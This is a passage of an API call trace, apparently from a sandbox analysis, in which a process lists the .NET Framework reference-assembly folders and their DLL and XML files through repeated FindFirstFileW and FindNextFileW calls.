dwReserved0=0x0, dwReserved1=0x0, cFileName="SubsetList", cAlternateFileName="SUBSET~1")) returned 1 [0259.148] GetProcessHeap () returned 0x550000 [0259.148] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25f0090 [0259.148] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\SubsetList\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812df993, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812df993, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0259.148] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812df993, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812df993, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.148] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5647fd36, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x5647fd36, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x754cb2bc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xda7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client.xml", cAlternateFileName="")) returned 1 [0259.148] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5647fd36, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x5647fd36, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x754cb2bc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xda7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client.xml", cAlternateFileName="")) returned 0 [0259.148] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0259.148] GetProcessHeap () returned 0x550000 [0259.149] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0259.149] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46093ea, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb46093ea, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb46093ea, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x6c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IdentityModel.dll", cAlternateFileName="")) returned 1 [0259.149] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb46093ea, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb46093ea, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb46093ea, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IdentityModel.Selectors.dll", cAlternateFileName="")) returned 1 [0259.149] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a94654c, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x1a94654c, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x5c12c05c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IO.Log.dll", cAlternateFileName="")) returned 1 [0259.149] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab0aae57, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xab0aae57, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xab1db959, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Printing.dll", cAlternateFileName="")) returned 1 [0259.149] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb45bd12a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb45bd12a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb45e328a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xed000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Runtime.Serialization.dll", cAlternateFileName="")) returned 1 [0259.149] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4524ba9, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb4524ba9, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb4596fca, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5b6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.dll", cAlternateFileName="")) returned 1 [0259.149] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f1158c, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x6f1158c, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x7ac6bc9c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xa8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Speech.dll", cAlternateFileName="")) returned 1 [0259.149] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44b2788, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb44b2788, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb44d88e8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x117000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Workflow.Activities.dll", cAlternateFileName="")) returned 1 [0259.149] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44664c7, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb44664c7, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb44b2788, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x18e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Workflow.ComponentModel.dll", cAlternateFileName="")) returned 1 [0259.150] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44d88e8, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb44d88e8, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb44d88e8, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x84000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Workflow.Runtime.dll", cAlternateFileName="")) returned 1 [0259.150] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7231257, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x7231257, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x7ae0ebbc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x2a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationClient.dll", cAlternateFileName="")) returned 1 [0259.150] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x752adc3, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x752adc3, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x7b23923c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x5d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationClientsideProviders.dll", cAlternateFileName="")) returned 1 [0259.150] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x778c3b3, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x778c3b3, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x7b532dbc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationProvider.dll", cAlternateFileName="")) returned 1 [0259.150] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a39c61, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x7a39c61, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x7b5a51dc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x18000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIAutomationTypes.dll", cAlternateFileName="")) returned 1 [0259.150] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa262a3d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xaa262a3d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xaa49dee1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x132000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsBase.dll", cAlternateFileName="")) returned 1 [0259.150] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c58b5, ftCreationTime.dwHighDateTime=0x1ca041b, ftLastAccessTime.dwLowDateTime=0x80c58b5, ftLastAccessTime.dwHighDateTime=0x1ca041b, ftLastWriteTime.dwLowDateTime=0x7b91117c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsFormsIntegration.dll", cAlternateFileName="")) returned 1 [0259.150] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x812df993, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c36dac1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c36dac1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinFXList.xml", cAlternateFileName="WINFXL~1.XML")) returned 1 [0259.150] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x812df993, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c36dac1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c36dac1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinFXList.xml", cAlternateFileName="WINFXL~1.XML")) returned 0 [0259.150] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0259.150] GetProcessHeap () returned 0x550000 [0259.150] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0259.150] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a23a69d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9a23a69d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0259.150] GetProcessHeap () returned 0x550000 [0259.150] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0259.150] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a23a69d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9a23a69d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0259.152] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a23a69d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9a23a69d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.153] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x565d698d, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x565d698d, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x754f141c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Conversion.v3.5.dll", cAlternateFileName="")) returned 1 [0259.153] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6605bc5, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6605bc5, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb662bd26, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Engine.dll", cAlternateFileName="")) returned 1 [0259.153] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d930d9, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x56d930d9, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x777e773c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Framework.dll", cAlternateFileName="")) returned 1 [0259.153] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb656d644, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb656d644, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb65937a4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Utilities.v3.5.dll", cAlternateFileName="")) returned 1 [0259.153] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56e9da72, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x56e9da72, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x77d8eb7c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualC.STLCLR.dll", cAlternateFileName="")) returned 1 [0259.153] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812b9833, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812b9833, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RedistList", cAlternateFileName="REDIST~1")) returned 1 [0259.153] GetProcessHeap () returned 0x550000 [0259.153] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25f0090 [0259.153] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812b9833, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812b9833, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0259.156] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812b9833, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812b9833, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.156] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58775f6b, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x58775f6b, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x77e270fc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="")) returned 1 [0259.156] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58775f6b, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x58775f6b, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x77e270fc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="")) returned 0 [0259.156] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0259.157] GetProcessHeap () returned 0x550000 [0259.157] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0259.157] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812b9833, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812b9833, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SubsetList", cAlternateFileName="SUBSET~1")) returned 1 [0259.157] GetProcessHeap () returned 0x550000 [0259.157] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25f0090 [0259.157] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812b9833, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812b9833, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0259.158] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812b9833, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812b9833, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0259.158] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5879c0ca, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x5879c0ca, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x77f7dd5c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xd76, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client.xml", cAlternateFileName="")) returned 1 [0259.158] FindNextFileW (in: hFindFile=0x6397c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5879c0ca, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x5879c0ca, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x77f7dd5c, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0xd76, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client.xml", cAlternateFileName="")) returned 0 [0259.158] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0259.158] GetProcessHeap () returned 0x550000 [0259.158] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0259.158] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb65937a4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb65937a4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb65937a4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.AddIn.Contract.dll", cAlternateFileName="")) returned 1 [0259.158] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb65474e4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb65474e4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb656d644, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.AddIn.dll", cAlternateFileName="")) returned 1 [0259.158] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb64d50c3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb64d50c3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb64fb223, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ComponentModel.DataAnnotations.dll", cAlternateFileName="")) returned 1 [0259.158] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6651e86, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb6651e86, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb6651e86, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Core.dll", cAlternateFileName="")) returned 1 